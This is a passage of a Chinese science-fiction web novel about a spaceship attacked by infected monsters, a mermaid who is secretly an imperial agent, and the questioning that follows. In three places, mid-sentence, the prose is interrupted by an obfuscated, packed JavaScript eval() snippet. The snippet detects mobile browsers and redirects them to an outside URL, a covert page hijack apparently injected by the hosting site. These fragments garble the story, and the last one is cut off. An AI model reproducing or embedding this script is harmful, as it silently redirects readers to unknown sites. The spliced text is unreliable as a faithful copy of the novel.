眼看着唐彦羽急急忙忙跑回去拿蛋糕的背影，甚至由于太着急，转弯的时候还不小心绊了一下，洛尘忍不住暗暗笑了一声：这联盟除了委员会那群烦人的老古董政客，原来底下的人都这么有趣啊。 “顾、知、越。” 洛尘无声念了一遍这个名字，眼底笑意加深，看着面前某人精心准备的小甜品，有些恶劣地想着：很期待到时候和对方在星际会议上碰面的场景。 洛尘挑了挑眉，刚准备伸手拿起蛋糕，却不知感应到了什么，手上一顿，脸上的笑意瞬间消失，猝不及防转头，一眼锁定这间屋子的落地观景窗。 观景窗中展示的是飞船外浩瀚缥缈的宇宙，亿万星尘永不停息地闪耀在其中，景色神秘而瑰丽，悠远深邃。 那里的一切都很安静。 “来了来了，蓝莓、香草还有牛奶味的！” 唐彦羽端着甜点匆匆赶回来，他低着头兴致勃勃地介绍着点心，并没有察觉到洛尘的异常。 “小尘你想先吃哪一个？还有果汁，有什么想……” “系统检测异常，轨道偏移正在矫正，请人员注意。” 系统的广播忽然响起，唐彦羽一愣，喃喃自语道：“异常？怎么会忽然异常？有什么要注——” 话音戛然而止，一道巨大的阴影十分突兀地、在绝不可能的地方被余光瞥见，恐怖的危机感本能翻涌起来，唐彦羽浑身僵硬，接着又强迫自己慢慢抬头望去—— 精致的落地窗外已然看不见那瑰丽的星云，一只漆黑的强壮的怪物正趴在窗外，诡异扭曲的四肢死死贴着玻璃，脸上没有眼睛，但手脚和双肩各有一个巨大的眼球。 宇宙中极致的低温和真空都没能杀死它，那六个眼球时不时微微颤动着，四肢匍匐前行…… 下一刻，六个眼球在同一时间猛然转动，猝不及防和唐彦羽对上视线！ “噼啪——咚！！！” 观景窗在瞬息之间被击碎！碎片爆炸四散，气流狂涌！ ——— 航行日志： 星域坐标1231,7091。 飞船遭感染变异体袭击，三级感染体两只，二级感染体一只，已发送求救信号。 检测其中二级感染体污染指数超A级，感染系数过高，极度危险，如果遇上请立即撤离，远离污染，重复一遍，请立即撤离，远离污染！ 3. 感染体 “重力系统故障，紧急修复，气压失衡，正在开启外层能量场，已发送求救讯号，预计救援时间一小时……” 剧烈的撞击过后，飞船内失重十秒，一切的人和物猝不及防漂浮起来，十秒过后又猛然摔回地面。 “砰——！” “要命，什么情况？！” 徐牧被摔得头晕眼花，又气又急道：“撞上陨石了？航线轨道上还能有陨石？？” 剧烈的颠簸过后顾知越第一个稳住身形，快速打开悬浮屏幕，刚看两眼，脸色骤变。 “不是陨石，有感染体入侵。” “感染体？？”徐牧差点一口气没喘上了，立刻闪身到屏幕前边，看着那上边的提示，第一反应是：“系统中病毒了？？” 不能怪徐牧吃惊，航行撞上感染体实在是比撞上陨石还要邪乎，先不说它们一开始是怎么躲开系统探测，这感染体说到底也是一种生命体，它们就是生命力再顽强也不能在宇宙里飘太久，怎么可能在这个前不着村后不着店的航线轨道上和它们撞上？！ 然而下一刻，仿佛为了彻底让他认清现实一般，不远处传来一声细微的异响，徐牧心中一惊，凭借第六感本能地抬头看去—— 一只细长的黑色尾巴不知何时出现在了门的夹缝之中，门禁此时并未开启，只是经过刚刚的撞击有些松动，那只尾巴强行穿过缝隙挤了进来，如同一条长蛇卡在那里，有力缓慢地摆动着。 身边的有回过神的队员顺着徐牧的目光望去，一眼看见那只诡异的长尾，难以控制地惊呼一声，那长尾一顿，紧接着隔门猛然发出强大的撞击声，长尾瞬间飞起朝那名队员袭去！ “砰！” 就在那尖锐的尾尖就要刺穿队员脑袋之前，枪声骤然响起，精准命中高速移动的尾巴，生生打烂一截！ “后退！” 顾知越厉声道，徐牧也终于回过神来，赶紧指挥队员远离，他们只是调查局的组员，并不属于实战部队，完全没有应对感染体的能力，更别提那鬼东西携带的病毒还可能有很强的感染性。 感染体受到重击，吃痛地甩起尾巴，嘶吼着想冲进来却一直无法突破隔门。 细尾如长刀横扫一片，破空之声回荡在屋内，但凡被那只尾巴碰到绝对要被削掉半个脑袋！ 顾知越堪堪避开第一波攻击，连开数枪，接连命中之后强行让尾巴的速度降低，随后抓住时机猛然近身上前，抽出特质的粒子短刃对准尾巴受伤严重的地方狠狠刺入！ 短刃瞬间刺穿长尾，强行把它钉死在地上！ 隔门外的嘶吼声更加疯狂，尾巴流出大量黑色液体，如同石油一般粘稠又刺鼻。 顾知越丝毫没有理会那些液体和声音，加速上前，在感染体撞击隔门的间隙一举打开门禁，那只黑色畸形怪物一个站不稳冲进来狠狠摔到地上。 顾知越一脚踩住它的尾巴迅速扫射，在其挣扎之时一枪击中胸口的眼珠！ 致命弱点被击中炸开，感染体拼命挣扎，但顾知越死死固定着那个短刃，几息过后，感染体的动作终于慢慢停止，黑色的血液流尽，彻底死亡。 一众队员还没反应过来，顾知越立即调出屏幕开启飞船的一级封锁，迅速安排道：“把你的组员送到安全屋，快！” 徐牧一愣，下意识追问：“那你……” 然而顾知越已经闪身离开，打开隔门出去后直接按下封锁键，把自己彻底隔绝在安全屋外。 “我去救人。” ——— 休息室，落地观景窗前。 外窗被破坏后重力系统失控了一秒，气压形成的巨大气流卷起一切物品快速抛向宇宙。 唐彦羽一个失神整个人已经被卷了起来，就在他要和周围的水珠物品一起吸入太空之时，一只手在最后关头抓住了他的衣领。 “哗啦——咚！” 重力系统恢复，池中漂浮出来的水球和唐彦羽一同落下，飞船紧急开启了外层能量场，暂时修补了破损，稳定气压。 “咳咳咳……” 唐彦羽摔得头疼又被泼了满身的水，大脑尚且一片混乱，但第一反应是手忙脚乱地摸索着四周。 “小尘……小尘？！” 洛尘看着这个眼睛都还没能完全睁开就慌乱找自己的人，忽觉有趣，但下一刻黑色的影子突然逼近，他神色瞬变，一把抓住唐彦羽的手臂，快速闪避！ 唐彦羽只感觉什么东西擦肩而过，耳边一炸，身形不稳差点又摔个跟头，还好有人及时扶了他一把。 唐彦羽晃了晃脑袋终于清醒了些，抬头看见在身前的洛尘，立刻反手抓住人，下意识松了口气，可惜气还没喘好，顺着洛尘的目光就看见了刚刚袭击的感染体正趴在顶上的角落虎视眈眈。 感染体入侵飞船了！ 意识到这点后唐彦羽呼吸都开始发抖，那只感染体的眼珠疯狂转动，浑身的肉块都活跃起来，迫不及待想要吞噬新鲜血肉。 洛尘很明显看见唐彦羽的脸色已经白得发青，浑身颤抖，毕竟不是实战人员，面对这种情况毫无经验，估计被吓得不轻。 而就在洛尘怀疑对方下一秒会不会直接晕倒的时候，唐彦羽忽然深吸一口气，按住洛尘的肩快速道：“跑，小尘，往门外跑！就现在，快！” “快跑——” 说完唐彦羽没有任何犹豫，把人往门口用力一推，自己则抓起配枪，壮胆一般一边喊着一边挺身上前！ 七零八落的子弹射击过去，光听枪声就能猜到对方手有多抖。 可惜这枪声和呐喊声都没持续一秒就戛然而止，感染体飞速逼近一掌就把人拍飞，唐彦羽整个人狠狠撞到墙壁上，昏迷前的最后一眼是感染体张开满是黑色粘液的血盆大口朝自己冲过来的场景—— 死定了。 “咚！” 预想中血肉飞溅的场景并没有出现，感染体被人一脚踢开，生生偏转方向撞到另外一边。 “人类也有不太聪明的啊，乱跑个什么呢。” 一道喃喃道自语声响起，洛尘不知何时拎着昏迷的唐彦羽转移到了安全的角落，此时他的眼睛已经变为血色，看着手底下的人，微微叹气道：“怎么还能吓成这样，这东西……” 洛尘的目光落到准备再度袭击的感染体身上，神色自若，甚至轻轻笑了一下，偏头道：“有那么可怕吗？” 伴随一声嘶吼，感染体跃起袭来，洛尘迅速抬手，连开三枪！ 三枪精准命中感染体肩上的两个眼球和脑袋正中心，血水涌出，感染体吃痛哀嚎，摇晃坠落。 洛尘从容旋身避开，身上不沾一点血水，感染体坠落翻滚，最后那巨大的身体就分毫不差地停在洛尘脚边。 强大的生命力让感染体挣扎起身，但洛尘算准时间快速来到感染体前边，枪口瞬间砸向对方已经被子弹打伤的面部，竟是 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而且这时间也实在卡得太好了，徐牧他们是昨天刚确定的行程，这感染体仿佛就是在他们确定航行路线的那一刻突然变异似的…… 思及此处，洛尘垂眸看了看手底下还在挥舞利爪的感染体，目光渐沉。 RAD污染型病毒可以感染一切生命体，从普通虫子到人类或者是异种无一例外，而感染变异之后，它们将只保留最原始的杀戮本能。 联盟和存护帝国都投入了大量的人力物力尝试解决RAD病毒，但经过这么多年的努力之后，依旧没有研制出很有效的控制或者抑制药剂。 好在RAD病毒传播途径十分有限，生物体感染之后也有强有弱，甚至有的会受不住病毒而直接死亡，且武装部队高强度清理感染体，终是不至于让病毒大范围扩散。 不过尽管如此，众人还是谈之色变，避之不及，毕竟多年研究已经证实：病毒本身是完全“不可控”的。 然而现在…… 洛尘眼中悠悠，轻声道：“到底是谁把你们送来的？你又是怎么变异的？” 感染体自然是无法回答的，大概是终于意识到面前的洛尘不好惹，它放弃袭击，蓄力翻滚想要逃脱。 检查已经完毕，留着这东西也没什么用了，洛尘顺势后退了两步，任由感染体躲开。 黑色的血液不停从破损的眼球中流出，感染体明显后继无力，但还是勉强站稳，嘶吼一声朝着准备发动最后一击。 嘶吼声刺耳尖锐，让人胆战心惊，可洛尘连枪都懒得再举起来，稍稍打量了一下四周，思索怎么让这只感染体死得更像“意外”一点。 而就在感染体喘息着准备冲过来时，它身上剩余的眼珠像是忽然感应到了什么，疯狂转动起来，最后统一朝向一个方向。 就如同受到感召一般，垂死疯狂的感染体浑身一顿，紧接着毫不犹豫放弃近在咫尺的洛尘，朝着门口狂奔而去！ 而与此同时，屋子的门禁突然开启，一道人影出现在门口—— 顾知越赶到了。 发觉来人，洛尘不管三七二十一，随手就把枪扔到水池，闪身来到昏迷的唐彦羽身边，心安理得地躲了起来。 好了好了，没自己什么事了，打打杀杀与自己无关，现在自己是一只柔弱可爱的小人鱼。 4. 危险解除 航行日志： 星域坐标1231,7099。 入侵的三只感染体被顺利击杀，统计一人受伤昏迷，暂未发现人员感染迹象，高级危险警报已解除，允许撤回紧急救援信息—— 错误！救援信息被委员会接收，无法撤回，支援部队将在二十分钟内到达，请人员做好接应准备…… “哎，彦羽啊，早知道今早不应该抢你那个包子吃的，可怜你就这么……” “是啊，你是个好人，太可惜了。” “彦羽，如果还有机会，我一定督促你好好训练实战，珍惜和你相处的每一天……” 队员们围成一圈，怜惜地看着治疗仓内躺着的唐彦羽，表情悲切，仿佛正在进行某种最后的道别仪式，场面异常哀伤凄然—— 如果忽略治疗仓里的当事人正对着这帮戏精比中指的话，效果会更加真实。 “别嚎了，”唐彦羽咬牙切齿，只恨自己暂时不能出治疗仓，“我只是刚刚昏迷了，还没死呢。” 话到这儿，队员们终于忍不住了，纷纷笑出声来，唐彦羽的损友姚颖调侃道：“你还说呢，让你留下照顾小尘，你倒好，抢先躺在哪儿了，要不是顾少将及时赶到就完了。” 唐彦羽尝试狡辩：“我那是……运气不好。” “运气不好？我看你已经是运气太好了。” 徐牧走了过来，一边忙着写汇总报告一边道：“正面遇上二级感染体，没死没感染，只是脑袋上撞了个大包，今年星际幸运星直接颁给你都没人有异议。” 姚颖小小惊呼了一声：“观景房里的那个是二级感染体？哇，那你小子运气是真好，顾少将也是真厉害。” 二级感染体的危险性和三级已经不是一个档次了，按照联盟规定如果正面对抗必须要出动五人以上才能确保安全。 以此来看，唐彦羽这个非战斗人员能平安活下来，实在算得上是个奇迹了。 姚颖拍了拍治疗仓，语重心长道：“等回去记得给顾少将送点礼，要不是他你估计已经成感染体的口香糖了。” 听到这儿，唐彦羽意外地沉默了片刻，似乎欲言又止，最后小心追问道：“小尘……他没事吗？” “当然有事！” 姚颖斩钉截铁的语气给唐彦羽吓了一跳，心脏瞬间提到嗓子眼，连忙追问：“怎么了怎么了？！” “小尘被吓到了啊，甜点都不愿意吃了。” “尾巴也不摇了，整个鱼都很无精打采的样子。” “好可怜……但是也好可爱……鱼门！” 戏精队友越演越上头，徐牧及时制止他们继续作妖，“行了，小尘没事。” 唐彦羽张了张口，犹豫片刻道：“那还有没有别的什么？” 这话让徐牧下意识扫了他一眼，眼神稍变，道：“干嘛这么问？是有什么特殊情况要汇报的吗？” “没有没有，”唐彦羽一惊，赶忙道：“我就是很担心，当时真的太危险了！” 这小子表情有点奇怪，徐牧打量了他几下，但似乎懒得管，垂眸继续整理资料，随口道：“小尘做过检查了，确实没问题，顾知越正在陪他，不管你之后是想送礼还是问些什么，自己去找顾知越吧。” 唐彦羽连连点头：“是是，真的没什么的，我就是随便问问……” 话音未落，徐牧忽然话锋一转，提醒道：“事关感染体，上头肯定要严查，你也少不了被一番追问，你如果有什么话最好尽快说，委员会来的人可不像我这么好说话。” 唐彦羽表情一顿。 徐牧刚想继续开口，这时系统忽然提示救援队已经来到附近，申请登录飞船。 悬浮屏幕自动跳转信息页面，徐牧快速扫了一眼，不知看见了什么，眉头紧锁，接着暗骂了一声，压低声音喃喃道：“怎么是他来了？这老狐狸故意来找麻烦的吧？” 随后转身直接把接应任务交给队员，快速嘱咐道：“他们登船后你们先去应付，就说我在忙，尽量拖延时间，能拖多久就拖多久。” “啊？”队员有点懵，“这怎么拖。” “随便怎么拖，故意迷路，把他们领到屋子里然后反锁都行，你们不是最会干这些坑人的事了吗？” “啊？？”队员更懵了，“可是老大，他们是上级，这是不是不符合规矩？” 徐牧道：“你们还会守规矩？” 队员诚恳道：“当然，我们熟读组织各项规章制度。” 徐牧：“出了事我全负责。” 一听有人兜底，队员们原形毕露，爽快道：“好嘞老大，保证完成任务！” ——— 心跳很快，越靠近观景房心中就越慌乱，顾知越明白这个时候必须要镇定，但他似乎有些控制不住了。 自己不该把小尘一个人留在那里的。 刚刚击杀的感染体的血液留在手上，难闻的腥味久久不散，恍惚间回到了童年时的某段记忆之中，无尽的长廊，恐怖的怪物，还有…… 飞船隔门直接开启，巨大的感染体飞扑而来，顾知越心头一紧，立即闪避，果断抬枪射击—— “哗啦。” 水花溅起，几点水珠落到顾知越的头顶，凉意瞬间让梦魇消退，整个人清醒过来。 正坐在水池边的顾知越一愣，垂眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029869|162298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见池边撑着头的洛尘，意识到自己刚刚神游太久了，连忙轻声道歉：“抱歉。” 洛尘看了看面前的人，随后尾巴一拍，水面又溅起一股水花，如同一场雨，噼里啪啦全落到了顾知越身上。 这举动乍一看像是不满意对方发呆，任性地捣乱，顾知越无奈地笑了笑，十分纵容道：“我的错我的错，下次不会了。” 当然是你的错。 洛尘毫不犹豫地在心中回复道。 堂堂少将，对付两个三级感染体和一个已经是强弓末弩的二级感染体竟然还差点受伤被感染，害的自己以为假期提前结束，外交对策都想好了。 这要是在自己手上，顾知越起码要被拎过去受一个月的特训，外加再写一万字检讨，嗯，也有可能是两万字，看自己心情。 如此想着，洛尘尾巴又一拍，水浪精准泼到面前这人俊逸的脸上，看对方一丝不苟的装束被搞乱，但一点儿也不恼，眼中无奈且纵容，没有丝毫敷衍的意思，温声说着请罪。 态度良好，那检讨就免了吧，洛尘心情好了点，重新游到对方身边。 见人肯回来了，顾知越笑了笑，伸出手摸了摸他的头，轻声嘱咐道：“之前那东西很危险，以后遇到了一定要赶紧躲，当然我以后不会让你一个人的，今天是我的错……” 洛尘在他怀里找了个舒服的位置躺下，心中回应道：才二级而已哪有什么危险，看来联盟的军队训练不怎么样啊，之后能直接把人拐到存护帝国去吗？话说联盟知道了会翻脸吗？算了，无所谓反正天天都在翻脸。 顾知越：“要是再遇见那种东西记得躲得离我远一点，那些东西只会冲我来，你不会有事的，今天吓到吧，甜点后来都不吃了……” 洛尘：不吃甜点那是因为我单纯吃饱了，不过话说回来，还是第一次看见感染体舍弃正面目标，突然转变方向去袭击另外的对象，他难道是什么吸引感染体的体质吗？ 想到这儿洛尘忽然来了点兴趣，本能地靠近一点闻了闻对方。 如果真是那种特殊体质可就太奇妙了，现在就想把人领回去切片研究一下，当然好像有点不太现实，不如先咬一口试试？ 事实证明一些异种人还是会保留一部分的动物本能的，比如说洛尘，面对好奇且好看的东西他都会忍不住咬一口试试口感和味道。 顾知越看着洛尘在自己怀里这边闻一闻那边嗅一嗅，不知为何有一种小猫正在嗅着自己心爱的食物并且找地方下口的感觉。 这想法太过奇怪，顾知越立刻晃了晃脑袋试图阻止自己的胡思乱想：真是，小尘怎么会咬人呢—— 啊，他咬了。 5. 质问调查 人鱼的虎牙有点尖，顾知越能很清晰地感受到牙齿上的力道，穿过衣袖，咬住手臂上的肉。 一秒，两秒，三秒…… 洛尘没松口，顾知越也没动，两人就这么僵着。 有点疼，不会出血了吧？ 好不容易从诧异中回过神来，顾知越看着专心致志咬住自己的洛尘，第一反应不是挣脱，而是望着对方，小心翼翼地询问道：“小尘，你……饿了吗？” 闻着不错，可惜咬起来一般般，暂时没发现和普通人类有什么区别。 洛尘打出评价，默默松了口，若无其事地歪头看向顾知越，满眼无辜，仿佛刚刚咬人的不是他。 顾知越缓慢地收回手臂，看了看面前的洛尘，忽然想到一些有关人鱼的研究记录中，曾经有传说人鱼是会以人类为食，那小尘会不会…… 两人对视片刻，最后顾知越再次把人揽回怀里，心中笃定：传说不可信，小尘应该只是饿了。 “你是不是饿了，我马上去拿些点心，”顾知越自我催眠良好，很快自己合理化了洛尘咬人的事，不过考虑到双方安全问题，还是加上了一句：“下次不要咬我了……我不好吃的。” 这话给洛尘逗乐了，差点没忍住笑出声来，但脸上却作出了伤心的神色，尾巴落下，似乎对不准咬他这个命令很是失落。 顾知越看了心中一紧，没犹豫两秒，立刻改口道：“实在想咬的话就咬吧，没事的，但是不要去咬别人。” 顾知越作为联盟的少将，自然知晓教育人需要软硬兼施，立威立信的道理，原则上是绝不能太过纵容某一方的，但没办法，他的原则站在洛尘那边。 洛尘顿时展颜，摆了摆尾巴凑过去逮住来一口—— 当事人都同意了，不咬白不咬。 怀里的人主动贴近，像小猫一样一边蹭着人一边嗅着味道寻找合适的地方下口，白色逐渐占据视野，连带着洛尘独有的清新幽冷的气息一直来到颈边。 心跳不自觉加快，顾知越莫名感觉刚刚被咬过的地方不痛了，反倒是变得有些痒，甚至还有点烫，在这一刻他忽然有种奇怪的庆幸感：如果小尘真觉得自己好吃，那也是好事。 顾知越说到做到，并没有选择躲开，洛尘看他这样觉得有趣，有意无意地找上了颈侧的位置，气息温热缱绻，有规律地打在皮肤上。 而就在洛尘准备咬上一口的时候，房间门禁忽然开启，两人的动作皆一顿，顾知越下意识转头看去，刚好和进来的徐牧对上。 此时洛尘整个人几乎贴着顾知越，头靠在对方颈侧，虽说是准备咬下去的，但这个角度看起来就像一个十分暧昧的吻。 而顾知越则是维持着一开始的动作，一只手轻轻揽着人的腰，因为紧张微微后靠，两人这样真的是怎么看怎么不清白。 徐牧本来急匆匆赶进来，看见这一幕被硬控两秒，下一刻直接转身准备跑，然而又突然想起正事，一个急刹强制自己转回来。 “抱歉打扰了，但是现在有点急事，能不能打断一下，顺便一提，顾知越你竟然教小尘干这种事，真不是个东西啊。” 顾知越：“……我教什么了？” 徐牧果断道：“难不成你要说是小尘主动亲你的？” “他、他没有亲我。” “那你们刚刚在干嘛？” “他，他刚刚在……”顾知越愣了愣，自己都有点迟疑道：“在咬我……？” 徐牧鄙视道：“这种话都编的出来，他这么可爱怎么会咬你。” 顾知越下意识回头看向洛尘，对方甩甩尾巴，满眼的天真无邪。 几番欲言又止后顾知越选择放弃，面无表情道：“这是你的‘急事’吗？” 徐牧也没继续调侃对方，言归正传道：“感染体入侵后飞船系统自动发送了求救信息，危机解除本来可以撤回的，但不知怎么被委员会接收到了，现在那边派人过来了，你猜是谁？” 顾知越脸色稍变，毫无意外道：“盯着我不放的还能是谁，解临江呗。” 听到这个名字，洛尘不动声色地抬起眼睛，暗暗挑了挑眉。 “bingo，答对了，这会儿估计他们已经登船了，你准备好被审吧。” 这结果不算太意外，顾知越叹了口气。 联盟最高行政机构是星系委员会，那解临江便是委员会成员之一，同样也是和顾知越很不对付的一人。 星系委员会一共三十二名常任成员，一名成员便代表着联盟一大势力，各方互相合作但也互相牵制，不可否认，比起上下一心的存护帝国，联盟内部各种派别间的摩擦从未停止。 顾知越的姨父曹源同样是委员会成员之一，他所属的派别作风颇为保守温和，对待异种人也较为友好，而以解临江为首的激进派却十分厌恶异种人，双方没少找过茬、吵过架。 现在顾知越这么个显眼的军队新星，于情于理都站在曹源那一方，自然得到了解临江的“特别关注”。 徐牧也是知道这些情况，看了看水中的洛尘，提议道：“要不要先把小尘藏起来，不然遇见解临江那家伙可麻烦得很。” 顾知越抿了抿唇，否定道：“就在飞船上，而且小尘的事在联盟不算机密，解临江估计早就知道了，故意藏起来才是给他借题发挥，倒不如……” 话音未落，门口再次传来门禁开启的声音，隔门打开后一道声音远远传来：“想不到顾少将不仅难请，也难见啊。” 此时门口已经站了一队人，为首的是个看着三十岁左右的男子，五官端正，眉眼锐利，眼中神色淡淡的，透着几分刻薄。 来人正是解临江。 上来就收到一句阴阳怪气，顾知越也是早已见怪不怪，一板一眼道：“解委员说笑了。” “我这可不是说笑，”解临江又瞥了一眼另一边的徐牧，意有所指道：“还有徐队长也真是的，队员连飞船的路都认不清吗？差点没带着我们迷路，还好有系统提示。” 徐牧看了看站在后边不敢抬头的自家队员，同样一板一眼道：“解委员见笑了。” 想不到几人碰面上来就这么精彩，洛尘忍不住探头打量了两眼解临江，不出意外收获到了对方冷厉的目光，无添加，纯恶意，乍一看还挺吓人。 不愧是在存护帝国外交部众所周知的“传奇人物”，外交部的入职仪式之一就是给他扎小人，这对异种人的恶意简直是天生的。 洛尘初次体会深有感悟，不过考虑到自己的人设，果断往顾知越身后一躲。 发觉洛尘躲到自己身后，顾知越以为他是被吓到了，立刻低头轻声安慰了一下，接着转头看向罪魁祸首解临江，眼神越发不善，冷冷道：“解委员若只是想来训人的不如早点走，免得别人感觉您平时都太闲了。” 如果说之前几句算是暗讽，那这句就是明着打脸了，解临江脸色微变，沉默片刻后冷笑道：“我今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吃瓜吃了半天终于轮到自己了，洛尘毫不意外，但他还没反应，顾知越抢先遮住其他人试探的视线，追问道：“关他什么事？” “顾少将怕是休假休傻了，星际航行时竟然能撞上活着的感染体，如果不是有人安排，难不成现在陨石缝里也能蹦出来感染体了？” “这件事很可疑，而飞船上除了调查组的成员和你，就只有他最可疑，我们必然要对他进行单独审讯。” 这话没毛病，如果换位思考一下洛尘也觉得自己嫌疑最大，他不动声色地看了看顾知越的神色，只见对方眉头紧锁，不知道是不是真的在怀疑。 “拒绝单独审讯，你可以对我行使调查审讯权。” 想不到对方竟然拒绝地如此直接，顾知越一般秉公办事，这么明显的私心倒是头一回，解临江稍稍愣了一下，眉头紧锁道：“若有什么问题你负责？” 顾知越一字一顿道：“他的事，我负全责。” 这份语气异常坚定，洛尘心中一动，止不住侧目。 解临江走近一步，沉声道：“你负全责？顾少将，你们是什么关系，你又是他什么人，以什么身份来说这句话的？” 这话细究起来就有点微妙了，旁观的人群中隐约传来一些窃窃私语和窥探，暗戳戳打量着几人。 而面对这个问题，顾知越毫不避讳，深吸一口气，在所有人的注视下无比认真道：“他未成年，我是他监护人。” 洛尘：…… 洛尘：………… 兔崽子，你才未成年！好啊，合着这么多天把自己当儿子养呢！ 6. 审讯 “未成年？”解临江看了看洛尘，犹豫了一下没直接反驳，只是追问道：“你怎么知道的？” 顾知越一本正经道：“上次去医院检查，测骨龄得出的。” 洛尘：什么庸医医院，下次就找机会给砸了！ 解临江迟疑道：“人鱼和人类不一定一样吧，那能准吗？” 顾知越有理有据地反驳道：“那你能证明不准吗？” 解临江沉默，随后盯着洛尘看了几秒，似乎在考虑要不要相信顾知越，但看了半天，最后他只是奇怪道：“他现在好像不太高兴？” 刚刚的洛尘眨着湛蓝色的眼睛，看起来又怕生又好奇，连解临江都不得不承认，确实很讨人喜欢，不过现在……怎么感觉眼神有点冷呢？ 顾知越甚至没有回头，不假思索道：“因为你吓到他了。” 解临江：“？” “解委员如果继续这样，我会向委员会投诉你危害未成年身心健康。” 解临江：“……” 这投诉说大不大，说小不小，真罚起来顶多也就是个写检讨和通报批评，可问题是影响十分不好。 解临江不是不上网，他自然知道现在网上对人鱼的态度异常友好，而他敢直接过来找麻烦是因为不担心这事被泄露出去，大家都是有分寸的，事关感染体必定属于机密，没有人会透露，媒体也不敢随意报道。 然而“危害未成年身心健康”这种看似“无伤大雅”但又“十分缺德”的事就不一样了，这简直是绝佳的舆论话题，真传到网上，被通报批评是小，网上一人一句都够把他淹死的，解临江之后几个月都别想安生。 除非……他们真能查出来感染体的事和这个人鱼有关，但这真的可能吗？ 解临江的目光在顾知越和洛尘之间来回，多方权衡利弊后他终是呼出一口气，沉声道：“那便请顾少将和徐组长前去详细说明事情经过吧，至于这只人鱼……留在这儿让人看好就行，顾少将，请吧。” 说完也不多停留，先行转身，带着自己人离开了屋子。 这是选择让步了。 这个结果还算可以，顾知越稍稍松了口气，和徐牧眼神示意了一下让他先行一步，随后转身，面色和语气都柔和了几分，低下身对岸边的洛尘轻声道：“我离开一会儿，马上就回来，不用怕这些人，他们不会怎么样的，别担心。” 说完下意识想摸一摸对方的头，然而却被洛尘躲开。 没摸到头的顾知越愣了愣，抬眼只见洛尘稍稍扬起下巴看着自己，秀眉微挑，眼中十分不满。 还没等顾知越反应过来，洛尘忽然上前，一口咬上他的肩，紧接着一甩尾巴扬长而去，不理人了。 怎么会突然生气了？ ……那一定是解临江的错。 暗暗给解临江又记上一笔，顾知越本来想哄人，奈何后边徐牧催人快点出来，只好先远远安慰了几句，暂时离开。 ——— 飞船系统暂时封闭，事件调查正式开始。 当时观景舱内并没有监控，唯一在场的唐彦羽昏迷不醒，所以船舱内究竟发生了什么按理说不会有人知道。 但同时洛尘也清楚，并不是毫无破绽，唐彦羽昏迷的时间和顾知越赶到的时间是对不上的，还有最重要的一点——真正让感染体重伤的那三枚子弹。 那三枚子弹无论是角度还是时机都实在太绝佳了，快、狠、准，干净利落，瞬间击溃，恐怕现在联盟最优秀的实战人员都无法做到这种程度。 而如果把这操作强行归结于唐彦羽昏迷前胡乱射击的那几枪，多少有点离谱，再者，唐彦羽只要不是真傻，肯定能察觉到其中的不对劲。 其实当初洛尘如果想要保险一点，那让唐彦羽死在那里就可以了，死人不会说话，疑罪从无反而好糊弄。 不过……洛尘并不需要这个“保险”。 他知道现在解临江的人正在和调查组的队员一一核对时间，还原经过，顾知越和唐彦羽都会是重点审问对象，自己的“破绽”随时可能被发现，也许马上就会有人冲过来质问、防备、警告……这么一想那可真是——太有趣了。 想到这儿，洛尘非但没有丝毫紧张，反而十分悠闲地晃了晃尾巴。 如果熟悉洛尘的人在这里大概能一眼看出，他的“玩心”又起来了。 洛尘是个玩心很重的人，有时候为了好玩，甚至会有点没心没肺，他能突发奇想装作一只无家可归的小人鱼被顾知越捡回去，那就不可能在乎暴露后会惹出什么样的麻烦。 对洛尘而言，接下来无论是什么样的发展，都将十分有趣，这就够了。 ——— “在当时你和感染体对峙，开了几枪后被击飞，撞击到角落后陷入昏迷，之后的事全部不知道是吗？” 调查人员经过第一轮审问，再次确认道。 唐彦羽抿了抿唇，接着用力点了点头。 调查员微微皱眉，看着记录道：“所以是在你昏迷后顾少将刚好就赶到了？” “应该是……哦，不对，”眼看调查员脸上的疑虑越来越重，唐彦羽赶忙改口道：“我的位置有移动，我想当时和我一起的小尘应该曾带着我躲避过。” “那只人鱼？你还看见他做了什么？” 唐彦羽有点无奈道：“我被那鬼东西打了一下就昏迷了，小尘能带着我跑开已经是谢天谢地了，哪里还能有办法做别的事……” 话音未落，在一边旁听的解临江忽然起身，走到审讯桌前，撑着手居高临下，质问道：“你确定他什么都没有干？没有表现出任何异常？” 这个角度解临江的阴影完全笼罩着对方，压迫感十足，唐彦羽张了张口，最后勉强笑了笑，呼出一口气道：“解委员，我知道你不喜欢异种，肯定也不喜欢小尘，但是……那可是二级感染体，您刚刚不也见过小尘了嘛，他面对那东西除了逃还能做什么，那个时候差一点我们都没命了。” “啪”的一声，解临江忽然把作为证物的配枪扔到了桌上，目光紧盯着唐彦羽，一字一顿道：“好，那你现在告诉我，你当时拿着这把枪，一共开了几次？” 唐彦羽虽然不是战斗人员，但作为外勤人员，枪械基础训练是有的，就是再糊涂，也不至于不知道自己究竟开了几枪。 发出的子弹不会造假。 望着那熟悉的配枪，唐彦羽沉默片刻，似乎是在回忆经过，最后在解临江的密切的注视下，笃定道：“六枪，我一共开了六枪。” 得到这个回答，解临江的表情似乎没什么变化，只是继续追问道：“你确定？” 这次调查是星系委员会特派的，全程录影存证，他说的每一句话都将在律法档案中留存。 唐彦羽轻轻瞥了一眼那把枪，最后看着解临江，点头道：“……我确定。” “一共六枪，三枪精准无误地命中感染体的致命区域，你这运气也实在太好了吧，今年星际幸运星我推荐你怎么样？” “确实运气好，能推荐我自然愿意，听说还有一笔奖金呢，哈哈哈……” 解临江挑了挑眉，没有不满但也看不出任何信任的意思，只是一错不错地盯着人，像是在观察着什么。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 